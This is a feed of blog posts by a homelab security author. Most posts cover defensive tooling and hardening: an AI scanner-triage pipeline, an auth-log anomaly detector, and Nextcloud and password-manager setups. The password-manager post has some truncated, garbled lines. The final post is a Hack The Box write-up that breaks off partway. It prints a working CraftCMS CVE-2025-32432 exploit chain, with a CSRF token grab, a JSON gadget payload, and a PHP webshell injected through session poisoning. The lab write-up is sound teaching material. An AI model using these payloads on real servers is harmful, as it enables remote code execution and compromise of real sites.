DEV Community: greenbladesec

I Built an AI Security Agent That Found Vulnerabilities in Its Own Code (And Why That's the Point)

greenbladesec — Tue, 01 Sep 2026 20:36:17 +0000

I Built an AI Security Triage Tool That Found a Vulnerability in Itself

Tools called: parse_bandit, deduplicate_findings, score_findings, apply_suppressions, generate_report

Iterations: 6
Stop reason: done

Triage Summary

7 findings total

🔴 Medium: 4
🟡 Low: 3

Notable Findings

parsers/zap.py:14 — [MEDIUM] B314 — xml.etree.ElementTree.parse on untrusted XML
- CWE-20: Improper Input Validation
- Potential XXE vulnerability
core/llm.py:90 — [MEDIUM] B310 — urllib.request.urlopen with an unvalidated scheme
- CWE-22: Path Traversal risk
kev/rules.py:158 — [LOW] B110 — Bare except: pass silently swallowing errors

The Finding That Got Me

The ZAP XML finding was the one that really got my attention.

My security triage tool is designed to parse scanner output. One of the scanners it supports is ZAP, which produces XML reports.

The parser was using Python's xml.etree.ElementTree to process that XML.

That parser can be unsafe when handling untrusted XML because of XXE (XML External Entity) attacks.

In other words, if someone managed to feed P1 a maliciously crafted ZAP report, the parser could potentially be abused to read arbitrary files.

The interesting part wasn't just that the tool detected the issue.

It found a real vulnerability in itself.

The agent:

Parsed the scanner findings
Deduplicated them
Scored them
Applied suppressions
Generated a structured JSON report
Produced a prioritized remediation list

That's the whole point.

Build the tool to automate the boring first-pass work — and then let it tell you where the actual problems are.

This Isn't Replacing Anyone

I want to be clear about what this is and isn't.

This tool doesn't replace a security engineer.

It doesn't replace DAST.
It doesn't do threat modeling.
It doesn't understand business context.

What it does is compress the boring part of the job — the mechanical first-pass triage — so a human can spend more time on the decisions that actually require judgment.

And honestly, that's one of the biggest things I learned from building it.

The automation isn't the hard part.

Understanding the security workflow is.

Building It Forced Me to Understand the Entire Pipeline

I had to understand how each scanner actually represents its findings.

For example:

Semgrep → JSON
Bandit → JSON
ZAP → XML
Trivy → JSON
Nuclei → JSONL

They're all different.

Then there was the question of deduplication.

What's a good deduplication key when the same vulnerability can be reported by multiple scanners?

It turns out rule_id + file + line isn't necessarily good enough because rule IDs can diverge across tools.

A better starting point is something like:

CWE + file + line

Then there's risk scoring.

How do CWE-based heuristics translate into an actionable severity score?

And where do those heuristics break down?

Then suppressions.

How should suppressions.yaml work without becoming a mechanism for silently hiding real vulnerabilities?

And finally, the LLM layer.

What can an LLM reliably identify as a false positive?

What shouldn't it be trusted to decide?

These aren't problems you can completely shortcut by using someone else's enterprise triage platform.

You have to understand the process to know what you're automating.

Architecture

For the technical readers, here's the current architecture.

agent-core (shared library)
├── Agent
│   └── iterative tool-calling loop
│       ├── max_iterations
│       └── policy enforcement
│
├── ToolRegistry
│   └── @tool decorator → schema → LLM tool spec
│
├── ExecutionPolicy
│   ├── READ_ONLY
│   ├── SAFE
│   ├── AUTO
│   └── HUMAN_CONFIRM
│
├── LLMProvider
│   ├── ClaudeProvider
│   └── OllamaProvider
│
└── AgentTracer
    └── JSONL per-call observability


p1-sast-dast-triage
├── agent/tools.py
│   └── 10 @tool functions + session store
│
├── agent/triage_agent.py
│   └── TriageAgent
│       └── wraps agent-core.Agent
│
└── main.py
    └── existing CLI
        ├── --agentic
        └── --provider

Key Design Decisions

1. `ExecutionPolicy.SAFE`

The LLM can call read-only analysis tools and write reports.

It cannot execute arbitrary shell commands.

That's an important boundary for an agent operating on security findings.

2. Session Store

Findings live in memory and are keyed by session_id.

The tools return summaries rather than dumping the entire underlying dataset into every model interaction.

This keeps the agent context smaller and makes the tool interface more predictable.

3. Backward Compatible

The existing main.py pipeline remains untouched.

The agentic functionality is additive:

--agentic
--provider

You can use the existing deterministic pipeline or opt into the agentic workflow.

What's Next?

P1 is part of a 5-project security tooling series.

P1 — SAST/DAST Triage → this project
P2 — Threat Model Generator → done
P3 — AI Log Anomaly Detector → done
P4 — AI Pentest Report Assistant → done
P5 — Autonomous HTB Pipeline → in progress

Each project reuses agent-core.

The bigger goal is to build an agentic security research toolkit where tools compose.

Instead of building five completely independent AI security tools, the idea is to build reusable agent infrastructure and then compose specialized security workflows on top of it.

What I Learned

The most interesting result wasn't the number of findings.

It was the feedback loop.

I built a tool to help find vulnerabilities.

The tool found a vulnerability in the tool.

That forced me to look at the implementation from the perspective of an attacker rather than just the perspective of the person building the automation.

And that's probably the most useful property an automated security tool can have:

It should make you better at seeing the things you might otherwise miss.

Code

The projects are open source:

If you're building agentic security tooling, I'd be interested in hearing how you're handling tool permissions, false-positive filtering, deduplication, and human-in-the-loop decisions.

Building an AI-Powered Auth Log Anomaly Detector with MITRE ATT&CK

greenbladesec — Mon, 31 Aug 2026 15:56:20 +0000

Why Auth Logs Matter

Auth logs are underrated.

Every brute-force attempt, privilege escalation, suspicious sudo usage, and unexpected SSH login leaves a trace in /var/log/auth.log.

The problem is volume and signal-to-noise.

A busy server can generate thousands of authentication log lines every day. Most are legitimate logins, sudo usage, SSH keepalives, automated jobs, and monitoring activity.

The attack patterns are there, but they look like noise without context.

I wanted a tool that could read auth logs like a security analyst — detecting patterns, adding context, and helping identify attacker behavior.

What I Built

P3 — a Python tool that:

Parses Linux authentication logs
Applies rule-based detections
Maps findings to MITRE ATT&CK
Enriches source IPs with reputation data
Uses a local LLM for threat assessment
Alerts through Slack or Discord
Supports continuous watch mode
Provides machine-readable exit codes and JSON output

And the best part:

Zero third-party Python dependencies. Standard library only.

Detection Rules

SSH Brute Force — T1110

The first detection uses a sliding window:

≥5 failed SSH authentication attempts from one IP within 10 minutes.

window = [
    t for t in self._ssh_failures[ip]
    if t > cutoff
]

count = len(window)

if count >= 5:
    severity = (
        "CRITICAL" if count >= 50
        else "HIGH" if count >= 20
        else "MEDIUM"
    )

Severity scales with the number of failures.

Five failures might be a user repeatedly entering the wrong password.

Fifty failures in ten minutes is a very different situation.

Distributed Brute Force — T1110

Single-IP detection misses distributed attacks.

A botnet can make only two or three authentication attempts from each IP — never enough to trigger a per-IP threshold.

So P3 also looks at the aggregate pattern:

≥10 unique source IPs with ≥20 combined failures.

This matters because the mitigation can be different.

A single noisy IP might justify an IP block.

A distributed attack may require broader controls such as rate limiting, geo-blocking, MFA enforcement, or investigation of the targeted accounts.

Credential Stuffing — T1110

This is one of the most important detections.

If an IP has authentication failures and then successfully authenticates, that pattern deserves immediate attention.

Conceptually:

if ip in self._ssh_failures and ip in self._ssh_successes:
    # Failure followed by success
    # Investigate as potential credential compromise

P3 treats this as a CRITICAL finding.

The reasoning is simple: repeated failures followed by a successful login can indicate that the attacker eventually obtained or guessed valid credentials.

The detection itself is strong, but in a production environment I'd still recommend correlating it with account identity, source history, MFA events, and other telemetry before declaring compromise.

Privilege Escalation — T1548

P3 monitors failed sudo authentication attempts per user.

It also looks for suspicious su activity.

For example, unexpected attempts to switch to root from an unusual account can indicate privilege escalation.

Account Creation — T1136

Account creation events such as useradd are flagged.

An attacker who already has shell access may create a new account to establish persistence.

These findings are therefore treated as HIGH severity by default.

Root Login — T1078

Direct SSH authentication as root is flagged as CRITICAL.

On a properly hardened Linux server, direct root SSH access is normally disabled.

If you suddenly see successful root authentication, that's worth investigating immediately.

MITRE ATT&CK Mapping

Every finding includes a technique ID and technique name.

For example:

[BF-001] CRITICAL — SSH Brute Force

MITRE: T1110 (Brute Force)
Confidence: 87%
Source IP: 185.234.218.x
AbuseIPDB: 97% abuse score
Country: CN

This is useful during incident response.

A finding that says:

"Many failed logins detected."

isn't particularly actionable.

A finding mapped to T1110 — Brute Force gives the analyst a known attack technique to investigate, along with documented detection guidance, mitigations, and related procedures.

The goal is to turn raw log activity into something that can feed an incident-response workflow.

Local AI Analysis

The AI component runs against a local Ollama instance.

Instead of sending authentication logs to a cloud API, P3 builds a summary containing the detected findings and representative log lines.

The local model returns:

Overall threat assessment — CRITICAL/HIGH/MEDIUM/LOW
Key findings
Attack pattern analysis
Immediate recommendations
IOCs — IPs, usernames, and patterns worth blocking or investigating

No cloud service.

No API keys.

No authentication data leaving the machine.

That's important because authentication logs can contain usernames, source IPs, hostnames, and other sensitive operational information.

Watch Mode + Alerting

P3 can run continuously as a systemd service.

For example:

python3 main.py /var/log/auth.log \
  --watch \
  --interval 60 \
  --webhook "$SLACK_WEBHOOK" \
  --allowlist allowlist.yaml

Every 60 seconds it:

Parses the log
Detects anomalies
Compares them with previously seen findings
Alerts only on new HIGH or CRITICAL events

This prevents a brute-force campaign that runs for several hours from generating the same alert every minute.

Slack and Discord webhooks are supported.

Alert Context

A useful alert should contain enough information to act without opening the raw log immediately.

P3 includes context such as:

Detection rule
MITRE ATT&CK technique
Severity
Confidence score
Source IP
Username
IP reputation
Number of attempts
AI-generated summary
Recommended next steps

The objective is simple:

Don't just tell me that something happened. Tell me why it matters.

Exit Codes as an API

P3 also exposes simple exit codes:

0 — No anomalies / only low severity
1 — HIGH severity finding
2 — CRITICAL severity finding

That makes it easy to integrate with other automation.

For example:

python3 main.py /var/log/auth.log \
  --no-ai \
  --json /tmp/daily.json

[ $? -ge 2 ] && page_oncall

No SIEM required.

You can wire it into cron jobs, monitoring systems, incident-response scripts, or other automation.

IP Reputation Enrichment

P3 optionally integrates with AbuseIPDB.

For each source IP, it can retrieve:

Abuse confidence score
Country code
Number of reports in the last 90 days

Context matters.

A brute-force attack from an IP with a 97% abuse confidence score and thousands of reports is more suspicious than the same number of failures from an IP with no reputation history.

Both events should be detected.

The reputation data simply helps determine how urgently to escalate them.

Allowlisting

Internal infrastructure can generate authentication events that look suspicious.

Jump boxes, monitoring agents, automation systems, and backup servers are common examples.

P3 supports an allowlist.yaml:

trusted_ips:
  - 10.0.1.5     # Prometheus exporter

trusted_users:
  - ansible
  - backup

Allowlisted events are filtered before detection runs.

That prevents known internal activity from creating unnecessary alerts.

What I Learned

The interesting engineering problems weren't the detection rules.

Those were relatively straightforward.

The difficult parts were everything around them.

1. Sliding Windows Across Log Parses

The detection window needs to survive across watch-mode cycles.

That means storing timestamps, not just counters.

Otherwise, every scan starts from zero and the detector loses historical context.

2. Deduplication in Watch Mode

A continuously running detector shouldn't alert on the same anomaly every minute.

P3 hashes the identifying fields of an anomaly and alerts only when it sees a new event.

3. Log Format Variance

Linux authentication logs aren't completely uniform.

Debian-based systems commonly use:

/var/log/auth.log

while RHEL-based systems commonly use:

/var/log/secure

The syslog formatting can also vary.

P3 handles both formats and also supports journalctl JSON export.

4. Local LLM Latency

Local AI is great for keeping sensitive logs on the machine, but inference isn't free.

P3 uses a timeout of around 120 seconds for AI analysis.

That means watch-mode intervals need to account for model latency, otherwise one scan can overlap with the next.

What Enterprise SIEMs Do Better

Splunk, Datadog, and other enterprise SIEM platforms obviously have P3 beat in several areas:

Scale
Cross-source correlation
Long-term data retention
Behavioral baselining
Enterprise identity integration
Team workflows
Dashboards
Alert management

P3 isn't trying to compete with them.

It's a small, transparent tool for understanding authentication activity on a Linux system without requiring an entire SIEM stack.

Why Build This?

The biggest benefit isn't just the detection engine.

It's visibility.

I can see exactly:

How a detection works
Why an event was classified as suspicious
Which MITRE technique it maps to
What reputation data influenced the assessment
What the local LLM recommended
What gets sent to the alerting system

There's no black box hiding the detection logic.

You can read the Python, change the thresholds, add a detection, modify the scoring, or remove the AI component entirely.

That's the point.

Build the security logic you understand.

What's Next?

A few things I'd like to add:

More MITRE ATT&CK techniques
Baseline-based anomaly detection
Geo/IP clustering for distributed attacks
Better correlation between successful and failed authentication
Automatic firewall integration
A lightweight web dashboard
More structured incident-response output
Feedback from analyst decisions to improve AI assessments

The long-term goal is to make P3 useful as a lightweight first-response layer before an event reaches a full SIEM.

Final Thought

Auth logs contain a surprising amount of security intelligence.

The challenge isn't collecting them.

It's turning thousands of individual events into a small number of high-confidence, actionable signals.

That's what I wanted P3 to do.

Code: https://github.com/PyHackSecGP/p3-log-anomaly-detector

If you're building something similar, I'd be interested in how you're detecting authentication anomalies and handling the false-positive problem.

I Built a SAST/DAST Triage Pipeline Because Scanner Noise Was Killing My Signal

greenbladesec — Mon, 31 Aug 2026 15:50:12 +0000

I Built a SAST/DAST Triage Pipeline Because Scanner Noise Was Killing My Signal

The Problem

I was running Bandit and Semgrep on a Python project and got 847 findings in a single scan.

I opened the report.

The top result was:

B310: Audit url open for permitted schemes. Allowing use of often unexpected schemes.

The URL was:

http://localhost:11434

Hardcoded. In a config file. Not exploitable in this context.

But the scanner doesn't know that.

This is the reality of SAST tooling: high recall, low precision. The philosophy is essentially flag everything and let someone sort it out.

At scale, that means hundreds of false positives per sprint, while the real SQL injection or path traversal can end up buried on page 6.

I wanted to fix that.

What I Built

P1 — SAST/DAST Triage Tool.

It's a Python pipeline that:

Ingests findings from multiple security scanners
Normalizes them into a common format
Deduplicates overlapping findings
Scores them using CWE-based heuristics
Uses a local LLM to classify likely false positives
Supports persistent suppressions
Generates Markdown, HTML, and SARIF reports
Integrates with GitHub Code Scanning

The goal isn't to replace SAST/DAST scanners.

It's to make their output useful to humans.

Stage 1: Ingest

P1 currently supports:

Bandit JSON
Semgrep JSON
Trivy JSON
OWASP ZAP

Each finding gets normalized into a common Finding object:

@dataclass
class Finding:
    tool: str
    rule_id: str
    cwe_id: str | None
    severity: str
    file: str
    line: int
    title: str
    description: str
    status: str = "active"          # active | likely_fp | suppressed
    confidence: float | None = None # 0.0–1.0 from LLM
    fp_reason: str | None = None

This makes the rest of the pipeline scanner-agnostic.

Adding another scanner becomes a parser problem instead of a pipeline redesign.

Stage 2: Deduplicate

This is where I think a lot of security pipelines fall down.

If Bandit and Semgrep both flag the same subprocess.call() on line 47, I don't want two findings.

I want one finding with both tools attached to it.

The deduplication key is:

key = (
    finding.cwe_id or finding.rule_id,
    norm_path,
    finding.line,
)

So the identity is based on:

CWE/rule + normalized file path + line number

—not the scanner-specific rule ID.

Rule IDs are tool-specific, so they aren't useful for cross-scanner deduplication.

The result might look conceptually like:

CWE-78
src/utils.py:47
Tools: Bandit, Semgrep
Severity: HIGH

One issue. Two scanners.

Stage 3: Score

Next comes prioritization.

I'm using a simple CWE-based heuristic rather than CVSS.

For example:

Category	Priority
Command injection / CWE-78	HIGH
SQL injection / CWE-89	HIGH
Path traversal / CWE-22	HIGH
Weak cryptography	MEDIUM
Debug artifacts	LOW

Why not CVSS?

Because CVSS is useful when you have enough context to meaningfully assess things like exploitability, attack complexity, privileges required, and impact.

At automated triage time, I often don't have that context.

A lightweight heuristic is faster and, for this particular purpose, good enough to establish an initial priority.

The important thing is that severity and triage priority are separate concepts.

Stage 4: LLM Filter

This is the interesting part.

I send each finding to a local Ollama instance.

No cloud API. No source code leaving the machine.

The prompt is roughly:

You are a security engineer doing SAST triage.

Given this finding, determine if it is a true positive
or likely false positive.

Return JSON:

{
  "verdict": "true_positive|likely_fp",
  "confidence": 0.0-1.0,
  "reason": "string"
}

The model receives the finding metadata — title, description, file, and line number — rather than the entire source tree.

That keeps prompts small and latency low.

More importantly, this isn't intended to be an autonomous security decision-maker.

The LLM is acting as a triage assistant.

Findings classified as likely_fp with confidence above 0.8 are filtered from the primary report, but they're still retained in the audit trail.

That distinction matters.

Stage 5: Suppressions

Some findings are known-good and aren't going to become interesting on the next scan.

For example, that B310 urlopen warning isn't going to disappear just because I run the scanner again.

I don't want to manually dismiss it every sprint.

So P1 supports persistent suppressions:

suppressions:
  - rule_id: B310
    reason: >
      All urlopen calls use scheme-validated HTTP/HTTPS
      URLs from internal configuration.

  - rule_id: python.lang.security.audit.subprocess-without-shell
    file_glob: "fuzz_harness.py"
    reason: >
      Subprocess use is intentional — this file is the
      fuzzing harness.

Matching uses AND logic when multiple fields are provided.

So if both rule_id and file_glob are specified, both must match.

The finding isn't deleted.

Its status becomes:

suppressed

That means the audit trail stays intact.

Stage 6: Output

P1 currently generates three report formats.

Markdown

Designed for humans:

Severity summary
Active findings
Likely false positives
Suppressed findings
LLM reasoning

SARIF 2.1.0

This is the integration I care about most.

The findings can be imported into GitHub Code Scanning, which means security issues can appear directly alongside code review.

Developers don't have to leave GitHub, open another dashboard, and figure out which finding actually matters.

HTML

A self-contained dark-theme report with no external dependencies.

Useful for local reviews and sharing scan results as a single file.

Results

I ran P1 against itself.

The initial scan produced:

17 raw findings

After deduplication:

14 findings

After LLM triage:

4 findings requiring attention

The remaining findings were mostly things like:

A path traversal finding
Hardcoded credential patterns in test fixtures
Findings that were suppressed by policy
Likely false positives

Total pipeline runtime:

~18 seconds

That's fast enough for local development and CI without making security scanning feel like a separate workflow.

Why Not Just Use Snyk?

Snyk is excellent. So is Veracode.

I'm not trying to argue that a small Python project is going to replace commercial application security platforms.

The reason I built P1 is different.

1. Cost

Commercial security platforms can be expensive for a solo developer or small organization.

If you're already running open-source scanners, adding a lightweight triage layer can be much cheaper.

2. Data

P1 uses a local LLM through Ollama.

For environments where sending source code or security findings to a third-party cloud isn't acceptable, keeping the classification step local can be valuable.

3. Transparency

I don't want a black-box label that says:

False positive: 94%

and nothing else.

P1 stores the model's reasoning alongside the finding.

You can inspect why something was classified as a likely false positive.

4. Learning

This is probably the biggest reason.

I understand every stage of the pipeline.

I can change the deduplication strategy.

I can change the scoring model.

I can inspect the prompts.

I can add a new scanner.

I can decide exactly what gets suppressed.

It's not just a product I use.

It's a security system I understand.

What I Learned

The biggest lesson wasn't about LLMs.

It was about signal management.

Security scanners are optimized for finding things.

Humans are optimized for deciding what matters.

Those are different jobs.

Trying to make the scanner itself perfectly precise isn't necessarily the right answer.

A better architecture can be:

┌─────────────┐
│   Scanners  │
│ Bandit      │
│ Semgrep     │
│ Trivy       │
│ ZAP         │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│   Ingest &   │
│ Normalize   │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ Deduplicate │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│   Scoring   │
└──────┬──────┘
       │
       ▼
┌─────────────┐
│ Local LLM   │
│   Triage    │
└──────┬──────┘
       │
       ▼
┌─────────────────────┐
│ Suppress / Review   │
└──────────┬──────────┘
           │
           ▼
┌─────────────────────┐
│ Markdown / HTML /   │
│ SARIF               │
└─────────────────────┘

The scanner produces the signal.

The triage layer makes the signal usable.

What's Next?

There are a few things I want to add next:

Semgrep autofix integration — let the LLM suggest a fix, not just classify the finding
GitHub Actions integration — optionally block PRs on CRITICAL findings
Web UI — review findings, approve suppressions, and track triage decisions
Better source-aware analysis — give the model targeted source context when the finding can't be classified confidently from metadata alone
Feedback loops — use previous human triage decisions to improve future classification

The last one is probably the most interesting.

If a developer repeatedly marks a particular pattern as a false positive, the system should eventually learn that policy rather than asking the same question on every scan.

Final Thought

847 findings sounds like a security success.

It isn't, if nobody has the time to investigate them.

The goal of P1 isn't to produce fewer findings.

It's to produce fewer findings that humans actually need to think about.

That's the difference between having a security scanner and having a security workflow.

Code: https://github.com/PyHackSecGP/p1-sast-dast-triage

If you're building something similar, I'd love to hear how you're handling scanner noise, deduplication, and false-positive triage.

Homelab Day: Nextcloud + Traefik + HSTS Headers That Actually Work

greenbladesec — Tue, 11 Aug 2026 01:09:21 +0000

I spent part of today getting Nextcloud properly hardened behind Traefik + Cloudflare tunnel. Seemed simple. Two gotchas nearly wasted an hour.

The Stack

Nextcloud 29 in Docker on a Proxmox LXC
Traefik v3 as reverse proxy (separate LXC)
Cloudflare Tunnel for public access — no open inbound ports
Domain: cloud.example.com

Problem 1: Nextcloud Doesn't Know the Real Client IP

Out of the box, Nextcloud sees Traefik's IP as every client's IP. This breaks:

Brute force protection (bans your proxy instead of attackers)
Rate limiting
Admin logs (every request looks like it's from the same IP)

Fix — set trusted proxies via occ:

docker exec -u 33 nextcloud php occ config:system:set trusted_proxies 0 \
  --value=192.168.1.x  # your Traefik IP

# If you use Cloudflare Tunnel, add all Cloudflare CIDRs too:
docker exec -u 33 nextcloud php occ config:system:set trusted_proxies 1 \
  --value=173.245.48.0/20
# ... (repeat for all Cloudflare CIDRs from cloudflare.com/ips)

docker exec -u 33 nextcloud php occ config:system:set forwarded_for_headers 0 \
  --value=HTTP_X_FORWARDED_FOR

Note the -u 33 — run as www-data, not root, or occ refuses.

Problem 2: HSTS Headers Disappear Through Cloudflare Tunnel

Traefik has a built-in stsSeconds middleware:

middlewares:
  default-headers:
    headers:
      browserXssFilter: true
      contentTypeNosniff: true
      stsSeconds: 31536000

This should send Strict-Transport-Security. It does — when traffic hits Traefik directly. But through Cloudflare Tunnel, Cloudflare terminates TLS before your Traefik sees it. Traefik receives HTTP from the tunnel daemon, so it treats the connection as non-HTTPS and suppresses STS.

Fix: Force it as an explicit custom response header instead of relying on stsSeconds:

middlewares:
  default-headers:
    headers:
      browserXssFilter: true
      contentTypeNosniff: true
      stsSeconds: 31536000
      stsIncludeSubdomains: true
      customResponseHeaders:
        Strict-Transport-Security: "max-age=31536000; includeSubDomains; preload"

Then apply the middleware to your Nextcloud router:

routers:
  nextcloud-https:
    entryPoints:
      - websecure
    middlewares:
      - default-headers
    rule: Host(`cloud.example.com`)
    service: nextcloud
    tls:
      certResolver: cloudflare

Traefik hot-reloads dynamic config — no restart needed. Verify:

curl -I https://cloud.example.com/login | grep -i strict
# strict-transport-security: max-age=31536000; includeSubDomains; preload ✓

Other Warnings to Clear

Run occ setupchecks to audit everything. Common ones:

Maintenance window not set — without this, heavy background jobs run during your peak hours:

docker exec -u 33 nextcloud php occ config:system:set \
  maintenance_window_start --value=1 --type=integer

No default phone region — affects phone number validation in profiles:

docker exec -u 33 nextcloud php occ config:system:set \
  default_phone_region --value=CA

Installing Apps via CLI

Skip the web UI for bulk installs. occ app:install pulls from the Nextcloud app store directly:

docker exec -u 33 nextcloud php occ app:install calendar
docker exec -u 33 nextcloud php occ app:install contacts
docker exec -u 33 nextcloud php occ app:install notes
docker exec -u 33 nextcloud php occ app:install tasks
docker exec -u 33 nextcloud php occ app:install deck      # Kanban boards
docker exec -u 33 nextcloud php occ app:install spreed    # Talk/video
docker exec -u 33 nextcloud php occ app:enable bruteforcesettings

Each installs and enables in one step. Much faster than clicking through Settings → Apps.

Final Security Header Check

After all of the above:

curl -I https://cloud.example.com/login 2>&1 | grep -iE "strict|x-content|x-frame|x-xss"

Expected output:

strict-transport-security: max-age=31536000; includeSubDomains; preload
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block

TL;DR

Set trusted_proxies + forwarded_for_headers via occ — critical if you're behind any proxy
stsSeconds alone won't work through Cloudflare Tunnel — use customResponseHeaders to force HSTS
occ app:install beats the web UI for batch app installs
Run occ setupchecks — it tells you exactly what's wrong

Nextcloud's occ CLI does most heavy lifting without ever touching the admin UI. Once you're comfortable with it, setup goes fast.

I Replaced Proton Pass with a Self-Hosted Password Manager + Private Email Aliases

greenbladesec — Mon, 10 Aug 2026 03:41:00 +0000

Why I wrote this: Every "privacy guide" online ends with "use a password manager." None of them tell you what to do when your email address itself is the breach vector. This is how I fixed both.

The Problem Nobody Talks About

Every breach notification I've ever received had one thing in common: my real email address was in the dump.

Password reuse is the obvious villain — but your email address is the silent one. It's your username on 40 sites. It's how attackers correlate your accounts across breaches. It's permanent.

I wanted a setup where:

Every new account gets a unique alias that routes to my real inbox
Every new account gets a unique password generat
Nothing is stored on someone else's server
The whole thing costs under $5/month

Here's what I built.

The Stack

Layer	Tool	Cost
Password vault	Vaultwarden (self-hosted)	~$0 (ru
Email aliasing	Addy.io	~$1/month (Lite plan)
Custom domain	Your registrar	~$1-2/month amortiz
Email receiving	Proton Mail	Free tier

Architecture

New signup →
Bitwarden browser extension generates alias via Addy
Bitwarden generates unique password
Alias routes: yourname+shop123@yourdomain.com → secr
You never expose your real address

Every account gets:

A unique alias (adjective-noun-1234@yourdomain.com
A unique 20+ char password
Zero connection to your real email

Step 1 — Set Up Addy.io with a Custom Domain

Register a cheap domain (.com works, .io is ove
Add it to Addy.io as a custom domain
Point the domain's MX records to Addy.io's mail ser
Add SPF, DKIM, and DMARC records for email authentication

The DNS records matter. Without DMARC enforcement, your aliases can be spoofed. Set p=quarantine initially, then move to p=reject once
you confirm legitimate mail flows correctly.

Step 2 — Configure the Catch-All

In Addy.io, enable a catch-all on your custom doma

anything@yourdomain.com routes to your Proton inbo
You don't need to pre-create aliases — just use shop-name@yourdomain.com and it works immediately
You can block or delete any alias that starts gettin

Set your catch-all recipient to a **dedicated Proton i Keep the real address completely out of the loop.

Step 3 — Connect Bitwarden to Addy.io

In Bitwarden (or Vaultwarden) settings:

`Settings → Generator → Username generator → Forwarded

Paste your Addy.io API key. Set your custom domain.

Now when you create a new login in Bitwarden, hit the he username field — it calls the Addy.io API, creates areal alias on the fly, and populates the field. No copy-paste. No manual alias creation.

Step 4 — Self-Host Vaultwarden

Vaultwarden is an open-source Bitwarden-compatible server. Docker Compose setup:

`yaml
services:
vaultwarden:
image: vaultwarden/server:latest
restart: unless-stopped
environment:
DOMAIN: "https://vault.yourdomain.com"
SIGNUPS_ALLOWED: "false"
volumes:
- ./vw-data:/data

Put it behind a reverse proxy (Traefik, Caddy, or nginowser extension connects to it identically to the cloudversion.

What I Got

Alias per site — when shop-abc123@yourdomain.com getich site sold my data
Zero email exposure — my real address doesn't exist in any vendor's DB
Auto-generation — alias + password created in one cl
Full self-hosted control — vault on my hardware, no subscription for the vault itself

Cost breakdown:

Domain: ~$15/year
Addy.io Lite: $12/year
Vaultwarden: $0 (already running homelab)
Total: ~$27/year (~$2.25/month)

What Would You Add?

I'm debating two upgrades:

Webhook on new alias creation → log to my SIEM for
Auto-disable aliases that receive breach notification emails

What's your aliasing/vault setup? Running something similar, or a totally different approach? Drop it in the comments — genuinely curious
what the tradeoffs look like for different threat mode

Running a homelab-first security stack. Posts on practical defensive security, self-hosting, and building tools that actually get used.

Day Log — 2026-08-09

greenbladesec — Sun, 09 Aug 2026 14:58:07 +0000

Day Log — 2026-08-09

Infrastructure day — not the glamorous kind, but the kind that makes everything else possible. Spent time verifying the self-hosted Git push pipeline rather than shipping features.

75hard-tracker — Tested and verified the Forgejo push pipeline end-to-end, then cleaned up the test artifact left behind. Matters because self-hosted Git is a real-world skill: organizations run private Gitea/Forgejo instances constantly, and knowing how to debug push hooks, verify remote connectivity, and keep repos clean translates directly to DevSecOps work. The problem it solved: I needed confidence the pipeline actually worked before trusting it with real project history.

Not a flashy day, but pipeline reliability is the unsexy foundation under every security automation project. A broken push pipeline means broken CI, broken deployment, and eventually broken trust in your tooling.

Next up: start committing actual 75hard-tracker feature code now that the push plumbing is confirmed solid. Lesson today — always verify infrastructure end-to-end before building on it, not after.

tags: security, devlog, homelab, opensource

HTB Orion — CraftCMS RCE, a Reverse Shell That Wouldn't Connect, and a Telnetd Auth Bypass

greenbladesec — Sun, 26 Jul 2026 01:05:25 +0000

HTB Orion — Writeup

Orion is rated "Very Easy" on Hack The Box, but the path to root turned into a genuinely useful debugging exercise — less about the exploit chain itself and more about what happens when your tooling fights you. This is a writeup of my own run at it, including the parts that didn't go according to plan.

Recon

Standard start:

nmap -sCV 10.129.69.96

Two ports: 22 (OpenSSH 8.9p1) and 80 (nginx 1.18.0), redirecting to orion.htb.

echo "10.129.69.96 orion.htb" | sudo tee -a /etc/hosts

The site was a telecom company page with "Powered by CraftCMS" in the footer. A quick directory fuzz confirmed /admin → /admin/login, and the login page leaked the exact CraftCMS version: 5.6.16.

That version is vulnerable to CVE-2025-32432 — an unauthenticated RCE in Craft's image transform endpoint, caused by Yii's object-configuration system trusting attacker-controlled JSON to decide which PHP class gets instantiated.

Manual CSRF Bypass (the interesting part)

The generate-transform action is CSRF-protected, so before touching the RCE I wanted to prove the bypass by hand rather than just firing Metasploit at it.

Craft/Yii ties CSRF validation to session state, so you need three things from the same session:

CraftSessionId cookie
CRAFT_CSRF_TOKEN cookie (Yii's server-side reference)
the actual csrfTokenValue, embedded in the login page's HTML/JS

curl -s -c cookies.txt http://orion.htb/admin/login -o login.html
grep -o 'csrfTokenValue[^,]*' login.html
cat cookies.txt

With those in hand, I built the exploit payload. Using GuzzleHttp\Psr7\FnStream with _fn_close: phpinfo, its destructor calls phpinfo() when the object is torn down:

{
  "assetId": 1,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}

curl -s -b cookies.txt \
  -H "X-CSRF-Token: <csrfTokenValue>" \
  -H "Content-Type: application/json" \
  -X POST "http://orion.htb/index.php?p=actions/assets/generate-transform" \
  -d @payload.json -o response.html -w "HTTP %{http_code}\n"
grep -i "PHP Version" response.html

PHP Version 8.2.30 came back. CSRF bypassed, arbitrary function execution confirmed.

The Reverse Shell That Wouldn't Come Home

With the vuln confirmed, I reached for Metasploit's exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 module. First problem: it couldn't retrieve the session/CSRF page at all. Turned out the module doesn't set VHOST, so it was hitting nginx with Host: instead of Host: orion.htb. Setting VHOST orion.htb fixed that immediately.

Second problem was worse: the module got past the CSRF check, injected the stub — and then reported "no session was created," repeatedly. I ran tcpdump on tun0 during a retry and confirmed the target really was sending SYN packets to my listener. iptables counters showed packets being accepted. ss -tlnp confirmed a process was bound and listening on the exact IP:port. Every individual piece checked out — and yet no SYN-ACK ever went back.

I never fully root-caused that. Best guess: the module's built-in handler tears itself down faster than the target's connect-back completes. Rather than keep burning time on it, I pivoted to getting command execution without needing an inbound connection.

Manual RCE via Session Poisoning

Step 1. Poison a PHP session file with a webshell:

curl -g -s -c webshell_cookies.txt \
  "http://orion.htb/index.php?p=admin/dashboard&a=<?=eval(\$_GET['cmd']);die()?>" \
  -o /dev/null -D -

Note: -g stops curl treating [] in $_GET['cmd'] as glob syntax.

Step 2. Trigger via CSRF-bypass endpoint, instantiating yii\rbac\PhpManager with itemFile pointed at the poisoned session (init() calls require() on that path):

{
  "assetId": 1,
